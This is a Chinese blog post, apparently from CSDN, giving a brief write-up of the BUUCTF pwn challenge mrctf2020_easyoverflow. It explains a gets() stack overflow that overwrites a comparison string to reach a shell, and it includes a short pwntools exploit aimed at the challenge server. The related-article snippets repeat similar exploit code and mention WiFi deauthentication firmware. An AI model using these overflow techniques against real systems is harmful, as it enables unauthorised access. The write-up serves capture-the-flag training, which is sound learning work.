[BUUCTF-pwn]——mrctf2020_easyoverflow

最新推荐文章于 2023-05-25 23:24:25 发布
最新推荐文章于 2023-05-25 23:24:25 发布
阅读量219 收藏
点赞数
分类专栏： # BUUCTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Y_peak/article/details/115298608
版权

[BUUCTF-pwn]——mrctf2020_easyoverflow

题目不难这里就简单讲下思路

思路

因为check函数返回0才可以得到shell.
通过gets函数，我们可以将v5修改为我们想要的。

找到fake_flag 为n0t_r3@11y_f1@g
修改为这个就可以了。相同肯定返回0.

exploit

from pwn import *
p = remote("node3.buuoj.cn",26609)
payload = 'a'* 0x30 + "n0t_r3@11y_f1@g"
p.sendline(payload)

p.interactive()
Y-peak
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Wi-PWN_8.0_ENGLISH_OLED.bin
08-25
这是ESP8266的带OLED显示的WIFI杀手固件。
mrctf2020_easyoverflow [write up]
m0_73756460的博客
01-14 249
buuctf 刷题 mrctf2020_easyoverflow [write up]
BUUCTF pwn——mrctf2020_easyoverflow
CNS-Enterprise BCC-1701-J
05-25 110
BUUCTF 做题练习
mrctf2020_easyoverflow
个人笔记
05-25 118
分析：a1=v5，check(v5)=1的前提是for循环正常退出，即v5=n0t_r3@11y_f1@g。分析：gets(v4)溢出点,check(v5)=1则执行system()；思路：通过v4溢出覆盖控制v5。
[BUUCTF]PWN——mrctf2020_easyoverflow
mcmuyanga的博客
01-12 948
mrctf2020_easyoverflow 附件 步骤： 例行检查，64位程序，保护全开 本地试运行的时候就直接一个输入，然后就没了，直接用64位ida打开 只要满足18行的条件，就能够获取shell check（） 很简单的检查，就是判断一下v5是否等于n0t_r3@11y_f1@g 看main函数可以知道，v5一开始是ju3t_@_f@k3_f1@g，之后没有对v5的操作了，然后让我们输入v4，看一下v4和v5在栈上的位置，发现v5就在v4下方不远处 v4的输入是用的gets函数，我们可以在
BUUCTF(pwn)mrctf2020_easyoverflow
半岛铁盒的博客
04-06 557
简单的溢出覆盖 from pwn import * r=remote("node3.buuoj.cn",25789) payload='a'*0x30+"n0t_r3@11y_f1@g" r.sendline(payload) r.interactive()
Wi-PWN_8.0_ENGLISH.bin
08-25
ESP8266的WIFI杀手固件，这是不带显示的。 我后续更新带OLED显示的固件。教程后将更新。
BUUCTF-PWN-[ZJCTF 2019]Login
07-10
BUUCTF-PWN-[ZJCTF 2019]Login
mqtt-pwn:MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式服务
05-02
MQTT-PWN MQTT是一种机器对机器的连接协议，被设计为一种极其轻量级的发布/订阅消息传递，并已被全球数百万个IoT设备广泛使用。 MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式商店，因为它结合了枚举...
CVE-2021-27246_Pwn2Own2020
03-03
Pwn2Own 2020东京版-TPlink漏洞利用 这是在Pwn2Own 2020 Tokyo期间用于开发TPlink Archer路由器的文件。 该漏洞的编号为CVE-2021-27246。 您可以在synacktiv网站上查看博客文章以了解详细信息。
BUUCTF------mrctf2020_easyoverflow
qq_33010875的博客
10-08 322
环境：WSL2，ubuntu16.04，python2 checksec文件： 拖入ida分析： main函数中就有system(‘bin/sh’)，只要check函数的返回值为1即可执行 查看check函数： 只要a1和fake_flag相等，函数就能返回1 a1就是main函数里的v5，值为：ju3t_@_f@k3_f1@g fake_flag的值为：n0t_r3@11y_f1@g 只要将v5的值覆盖为n0t_r3@11y_f1@g即可 main函数中有get函数可用， v4： v4是var_
PWN做题笔记2-int_overflow（已校对）
qq_40923256的博客
04-19 232
原题地址：https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=1 如图，程序是一个32位ELF文件 chesec ida反编译，main方法中实现了登录功能，无溢出点 login方法中输入用户名和密码： 这里位数上0x19<40，0x199<512，因此无溢出 check_passwd实现对密码长度进行检查： 密...
PWN-整型溢出-攻防世界-PWN-int_overflow
安全知识学习-该平台为唯一原作者平台，其他平台属冒名顶替，请勿相信上当受骗
09-24 1866
目录 整型溢出漏洞是什么 攻防世界-PWN-int_overflow exp 整型溢出漏洞是什么 整型是一个特定的变量类型，在32位的系统中，一个整数一般占32位，而在64位的系统中一个整数占64位，（下面主要介绍32位整型溢出）为了表示正负（有符号），需要最高位来决定数值的，下面列举一些常见的整型的数值范围 在c语言中有这样的规定： 对于unsigned整型的溢出，溢出之后的数会和2^(8*字节)作模运算，例如一个unsigned char 溢出了，就会把溢出的数值与256求模 .
mrctf2020_easyrop
z1r0的博客
04-10 359
mrctf2020_easyrop 查看保护 简单题 用hehe和byby这两个函数配合起来rop就行 from pwn import * from time import sleep context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1
buu [MRCTF2020]EasyCpp
YenKoc的博客
04-17 776
上次没写出，这次认真分析了一下，发现自己的调试水平也有了上涨，也看了一些C++逆向的文章，尤其是stl，发现C++的oop还是挺复杂，这题还没考啥虚函数的还行了。 一.拖入ida，找到主函数，还是挺容易的 int __cdecl main(int argc, const char **argv, const char **envp) { double v3; // xmm0_8 __int...
[MRCTF2020]Easy_RSA
weixin_44110537的博客
07-20 1404
encrypt import sympy from gmpy2 import gcd, invert from random import randint from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, bytes_to_long, long_to_bytes import base64 from zlib import * flag = b"MRCTF{XXXX}" base = 65537 def gen
MRCTF2020——crypto——Easy_RSA——babyRSA
weixin_44159598的博客
03-29 2304
babyrsa 根据主函数可知，首要目的是找到_P和_Q，首先来看_P 可以发现 题目已给出P[9],所以直接目的可以手动测试周围素数，直到找到全部（这里是一部分） 这里我们可以得到N factor = pow(p, base, n) 这一句说明我们应该将这个简单RSA解出来，此时按照一般RSA的步骤求得d 这里已经得到N的所有因数，所以此时N的欧拉函数为所有因数减1相乘，即(p1-...
buuctf [HarekazeCTF2019]baby_rop2
最新发布
09-30
[BUUCTF-pwn]——[HarekazeCTF2019]baby_rop2是一个pwn题目。在这个题目中，主要的目标是获取read函数的地址，并利用该地址泄漏libc基址，然后计算system函数和/bin/sh字符串的地址，最终执行system('/bin/sh')获取...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值